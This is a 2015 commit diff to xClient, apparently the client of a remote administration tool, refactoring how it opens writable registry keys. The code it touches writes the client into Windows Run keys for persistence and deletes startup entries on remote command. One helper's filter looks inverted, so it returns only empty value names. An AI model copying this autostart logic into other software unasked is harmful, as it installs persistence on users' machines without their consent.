Improved Registry Access in Client

This commit is contained in:
MaxXor 2015-06-02 20:15:36 +02:00
parent a12db999d5
commit f1934058a0
3 changed files with 32 additions and 39 deletions

View File

@ -262,8 +262,17 @@ namespace xClient.Core.Commands
case 0:
using (
var key =
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
key.Close();
}
break;
case 1:
using (
var key =
Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -273,8 +282,7 @@ namespace xClient.Core.Commands
case 2:
using (
var key =
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -284,8 +292,8 @@ namespace xClient.Core.Commands
case 3:
using (
var key =
Registry.CurrentUser.OpenSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
Registry.CurrentUser.OpenWritableSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -298,8 +306,8 @@ namespace xClient.Core.Commands
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true))
Registry.LocalMachine.OpenWritableSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);
@ -312,8 +320,8 @@ namespace xClient.Core.Commands
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
Registry.LocalMachine.OpenWritableSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
key.DeleteValue(command.Name, true);

View File

@ -11,9 +11,8 @@ namespace xClient.Core.Extensions
/// </summary>
/// <param name="keyName">The name associated with the registry key.</param>
/// <param name="key">The actual registry key.</param>
/// <param name="keyValue">The string value of the registry key determined by the key's name.</param>
/// <returns>True if the provided name is null or empty, or the key is null; False if otherwise.</returns>
public static bool IsNameOrValueNull(this string keyName, RegistryKey key)
private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
{
return (string.IsNullOrEmpty(keyName) || (key == null));
}
@ -26,7 +25,7 @@ namespace xClient.Core.Extensions
/// <param name="keyName">The name of the key.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// string.Empty will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName)
private static string GetValueSafe(this RegistryKey key, string keyName)
{
// Before calling this, use something such as "IsNameOrValueNull" to make sure
// that the input used for this method is usable. The responsibility for this
@ -84,21 +83,11 @@ namespace xClient.Core.Extensions
/// <returns>Yield returns formatted strings of the key and the key value.</returns>
public static IEnumerable<string> GetFormattedKeyValues(this RegistryKey key)
{
if (key != null)
if (key == null) yield break;
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(string.IsNullOrEmpty))
{
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)))
{
// Less-likely, but this will ensure no empty items if an exception was thrown
// when obtaining the value.
if (string.IsNullOrEmpty(k))
{
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
}
}
}
else
{
yield break;
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
}
}
}

View File

@ -12,6 +12,7 @@ using Microsoft.Win32;
using xClient.Config;
using xClient.Core.Information;
using xClient.Core.Encryption;
using xClient.Core.Extensions;
namespace xClient.Core
{
@ -414,8 +415,7 @@ namespace xClient.Core
{
using (
RegistryKey key =
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.LocalMachine.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception();
key.SetValue(Settings.STARTUPKEY, InstallPath);
@ -428,8 +428,8 @@ namespace xClient.Core
{
using (
RegistryKey key =
Registry.CurrentUser.OpenSubKey(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
Registry.CurrentUser.OpenWritableSubKey(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception();
key.SetValue(Settings.STARTUPKEY, InstallPath);
@ -447,8 +447,7 @@ namespace xClient.Core
{
using (
RegistryKey key =
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception();
key.SetValue(Settings.STARTUPKEY, InstallPath);
@ -589,8 +588,7 @@ namespace xClient.Core
{
using (
RegistryKey key =
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.LocalMachine.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
@ -604,8 +602,7 @@ namespace xClient.Core
// try deleting from Registry.CurrentUser
using (
RegistryKey key =
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
@ -621,8 +618,7 @@ namespace xClient.Core
{
using (
RegistryKey key =
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{